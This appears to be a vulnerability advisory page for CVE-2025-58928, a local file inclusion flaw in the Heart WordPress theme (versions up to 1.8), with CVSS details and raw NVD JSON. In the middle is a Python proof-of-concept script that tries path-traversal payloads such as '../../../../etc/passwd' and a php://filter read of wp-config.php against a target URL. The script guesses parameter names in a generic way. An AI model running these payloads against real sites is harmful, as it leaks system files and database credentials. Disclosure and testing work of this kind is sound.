Security Vulnerability Report
中文
CVE-2025-58928 CVSS 8.1 HIGH

CVE-2025-58928

Published: 2025-12-18 08:16:00
Last Modified: 2026-01-20 15:17:11

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Heart heart allows PHP Local File Inclusion.This issue affects Heart: from n/a through <= 1.8.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:heart:*:*:*:*:*:wordpress:*:* - VULNERABLE
Heart <= 1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58928 PoC - Heart Theme LFI # Usage: python poc.py <target_url> import requests import sys import urllib.parse def exploit_lfi(target_url): """Exploit Local File Inclusion in Heart theme""" # Common LFI payloads for WordPress themes payloads = [ "../../../../etc/passwd", "../../../../wp-config.php", "../../../../../../../etc/passwd", "php://filter/read=convert.base64-encode/resource=../../wp-config.php" ] for payload in payloads: # Try common parameter names used in themes params = { "file": payload, "template": payload, "page": payload, "theme": payload } for param_name, param_value in params.items(): try: response = requests.get( target_url, params={param_name: param_value}, timeout=10 ) if response.status_code == 200: # Check for sensitive content if "root:" in response.text or "DB_NAME" in response.text: print(f"[!] Vulnerable! Parameter: {param_name}") print(f"[+] Payload: {param_value}") print(f"[+] Response excerpt: {response.text[:500]}") return True except requests.RequestException as e: print(f"Error: {e}") print("[-] No vulnerability detected with basic payloads") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") sys.exit(1) target = sys.argv[1] exploit_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58928", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.133", "lastModified": "2026-01-20T15:17:11.080", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Heart heart allows PHP Local File Inclusion.This issue affects Heart: from n/a through <= 1.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:heart:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.8", "matchCriteriaId": "1A6C4FC9-0550-42D0-A8BC-F55A9AC19817"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/heart/vulnerability/wordpress-heart-theme-1-8-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}